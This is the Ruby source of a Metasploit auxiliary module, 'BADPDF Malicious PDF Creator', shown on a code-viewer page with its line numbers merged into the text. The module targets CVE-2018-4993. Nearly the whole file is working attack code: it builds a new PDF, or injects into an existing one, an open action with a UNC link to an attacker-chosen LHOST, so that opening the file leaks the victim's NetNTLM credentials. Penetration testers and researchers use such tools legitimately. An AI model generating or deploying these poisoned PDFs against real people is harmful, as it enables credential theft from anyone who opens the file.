Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/fileformat/badpdf.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::FILEFORMAT78def initialize(info = {})9super(update_info(info,10'Name' => 'BADPDF Malicious PDF Creator',11'Description' => '12This module can either creates a blank PDF file which contains a UNC link which can be used13to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary14code into an existing PDF document if possible.15',16'License' => MSF_LICENSE,17'Author' =>18[19'Assaf Baharav', # Code provided as POC by CheckPoint20'Yaron Fruchtmann', # Code provided as POC by CheckPoint21'Ido Solomon', # Code provided as POC by CheckPoint22'Richard Davy - secureyourit.co.uk', # Metasploit23],24'Platform' => ['win'],25'References' =>26[27['CVE', '2018-4993'],28['URL', 'https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/']29])30)31register_options(32[33OptAddress.new('LHOST', [true, 'Host listening for incoming SMB/WebDAV traffic', nil]),34OptString.new('FILENAME', [false, 'Filename']),35OptPath.new('PDFINJECT', [false, 'Path and filename to existing PDF to inject UNC link code into'])36]37)38end3940def run41if datastore['PDFINJECT'].nil? && datastore['FILENAME'].nil?42print_error 'Please configure either FILENAME or PDFINJECT'43elsif !datastore['PDFINJECT'].nil? && datastore['PDFINJECT'].to_s.end_with?('.pdf')44injectpdf45elsif !datastore['FILENAME'].nil? && datastore['FILENAME'].to_s.end_with?('.pdf')46createpdf47else48print_error "FILENAME or PDFINJECT must end with '.pdf' file extension"49end50end5152def injectpdf53# Payload which gets injected54inject_payload = "/AA <</O <</F (\\\\\\\\#{datastore['LHOST']}\\\\test)/D [ 0 /Fit]/S /GoToE>>>>"5556# if given path doesn't exist display error and return57unless File.exist?(datastore['PDFINJECT'])58# If file not found display error message59print_error "File doesn't exist #{datastore['PDFINJECT']}"60return61end6263# Read in contents of file64content = File.binread(datastore['PDFINJECT'])6566# Check for place holder - below ..should.. cover most scenarios.67newdata = ''68[2, 4, 6, 8].each do |pholder|69unless content.index("/Contents #{pholder} 0 R").nil?70# If place holder exists create new file content71newdata = content[0..(content.index("/Contents #{pholder} 0 R") + 14)] + inject_payload + content[(content.index("/Contents #{pholder} 0 R") + 15)..-1]72break73end74end7576# Display error message if we couldn't poison the file77if newdata.empty?78print_error 'Could not find placeholder to poison file this time....'79return80end8182# Create new filename by replacing .pdf with _malicious.pdf83newfilename = "#{datastore['PDFINJECT'].gsub(/\.pdf$/, '')}_malicious.pdf"84# Write content to file85File.open(newfilename, 'wb') { |file| file.write(newdata) }86# Check file exists and display path or error message87if File.exist?(newfilename)88print_good("Malicious file written to: #{newfilename}")89else90print_error 'Something went wrong creating malicious PDF file'91end92end9394def createpdf95# Code below taken POC provided by CheckPoint Research96pdf = ''97pdf << "%PDF-1.7\n"98pdf << "1 0 obj\n"99pdf << "<</Type/Catalog/Pages 2 0 R>>\n"100pdf << "endobj\n"101pdf << "2 0 obj\n"102pdf << "<</Type/Pages/Kids[3 0 R]/Count 1>>\n"103pdf << "endobj\n"104pdf << "3 0 obj\n"105pdf << "<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Resources<<>>>>\n"106pdf << "endobj\n"107pdf << "xref\n"108pdf << "0 4\n"109pdf << "0000000000 65535 f\n"110pdf << "0000000015 00000 n\n"111pdf << "0000000060 00000 n\n"112pdf << "0000000111 00000 n\n"113pdf << "trailer\n"114pdf << "<</Size 4/Root 1 0 R>>\n"115pdf << "startxref\n"116pdf << "190\n"117pdf << "3 0 obj\n"118pdf << "<< /Type /Page\n"119pdf << " /Contents 4 0 R\n"120pdf << " /AA <<\n"121pdf << " /O <<\n"122pdf << " /F (\\\\\\\\#{datastore['LHOST']}\\\\test)\n"123pdf << " /D [ 0 /Fit]\n"124pdf << " /S /GoToE\n"125pdf << " >>\n"126pdf << " >>\n"127pdf << " /Parent 2 0 R\n"128pdf << " /Resources <<\n"129pdf << " /Font <<\n"130pdf << " /F1 <<\n"131pdf << " /Type /Font\n"132pdf << " /Subtype /Type1\n"133pdf << " /BaseFont /Helvetica\n"134pdf << " >>\n"135pdf << " >>\n"136pdf << " >>\n"137pdf << ">>\n"138pdf << "endobj\n"139pdf << "4 0 obj<< /Length 100>>\n"140pdf << "stream\n"141pdf << "BT\n"142pdf << "/TI_0 1 Tf\n"143pdf << "14 0 0 14 10.000 753.976 Tm\n"144pdf << "0.0 0.0 0.0 rg\n"145pdf << "(PDF Document) Tj\n"146pdf << "ET\n"147pdf << "endstream\n"148pdf << "endobj\n"149pdf << "trailer\n"150pdf << "<<\n"151pdf << " /Root 1 0 R\n"152pdf << ">>\n"153pdf << "%%EOF\n"154# Write data to filename155file_create(pdf)156end157end158159160